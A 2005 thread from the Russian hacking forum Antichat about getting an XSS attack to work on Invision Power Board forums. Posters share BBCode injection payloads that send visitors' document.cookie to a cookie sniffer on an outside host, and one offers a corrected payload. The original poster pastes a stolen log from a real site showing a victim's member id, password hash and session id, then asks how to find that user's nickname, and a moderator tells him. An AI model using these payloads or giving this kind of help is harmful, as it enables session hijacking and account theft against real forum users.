ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос про проведении атаки класса XSS, в форуме Invison Power Board
  #1  
Старый 21.06.2005, 01:28
Аватар для Demon
Demon
Новичок
Регистрация: 20.06.2005
Сообщений: 8
Провел на форуме:
0

Репутация: 0
По умолчанию Вопрос про проведении атаки класса XSS, в форуме Invison Power Board

Здравствуйте! Объясните ламеру что не так: прочитал статью про взлом Invision(4 часть)
создал топик с таким скриптом:
[COLOR=]` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) [/COLOR]
он преобразовался в:
'>` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)
и никакие логи сниффера мне не приходят. Подскажите пожалуйста что я не так делаю.
Спасибо
 
Ответить с цитированием

  #2  
Старый 21.06.2005, 04:08
Аватар для Rebz
Rebz
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме:
13166814

Репутация: 3876


По умолчанию

Эту багу уже пофиксили давно))

"никакие логи сниффера мне не приходят" - они к тебе и не должны приходить. Логи на всеобщем обозрении лежат)).
 
Ответить с цитированием

  #3  
Старый 21.06.2005, 05:13
Аватар для Rufas
Rufas
Banned
Регистрация: 13.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от Demon  
Здравствуйте! Объясните ламеру что не так: прочитал статью про взлом Invision(4 часть)
создал топик с таким скриптом:
[COLOR=]` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) [/COLOR]
он преобразовался в:
'>` style=background:url(javascript:document.images[68].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)
и никакие логи сниффера мне не приходят. Подскажите пожалуйста что я не так делаю.
Спасибо
Код HTML:
[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[0].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) [/COLOR]
 
Ответить с цитированием

  #4  
Старый 21.06.2005, 14:37
Аватар для Demon
Demon
Новичок
Регистрация: 20.06.2005
Сообщений: 8
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
"никакие логи сниффера мне не приходят" - они к тебе и не должны приходить. Логи на всеобщем обозрении лежат)).
а если я подписался на рассылку логов то они же должны были прийти ко мне на мыло. И вот пришел один лог:
REFERER: http://sapr2000.ru/invision/index.php?showtopic=926&hl=
QUERY: b=b; invisionmember_id=628; invisionpass_hash=c163a733c3d40d524762af18b5562c75 ; invisionqr_type=0;
invisionforum_read=a:4:{i:0;i:1119275520;i:25;i:11 13983630;i:7;i:1117605897;i:49;i:1118139355;}; invisionanonlogin=-1;
invisionsession_id=60369d110e78a006a2da1854d403199 b; invisionmodtids=,;
invisiontopicsread=a:2:{i:6596;i:1119330745;i:6634 ;i:1119330773;}
AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
как я понял id юзера 628, а его хеш - c163a733c3d40d524762af18b5562c75
но как мне узнать какой ник соответствует этому номеру?
 
Ответить с цитированием

  #5  
Старый 21.06.2005, 16:47
Аватар для Rebz
Rebz
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме:
13166814

Репутация: 3876


По умолчанию

Ах да..)) сорри, действительно, совсем забыл что можно подписаться)

Посомтри а Members или в урле бразуера... какой id соответствует юзеру.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48
Вопрос про проведении атаки класса Xss в форуме Ipb badboy Форумы 11 05.06.2005 18:10
Вопрос про проведению атаки класса XSS, в форуме Invison Power Board badboy Форумы 10 02.06.2005 22:28
Вопрос про заливку шелла в Invision Power Board DiNo Форумы 14 03.03.2005 13:40
Сколько полей в таблице ibf_topics в форуме Invision Power Board 1.3.1? LittleLamer Форумы 2 29.01.2005 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ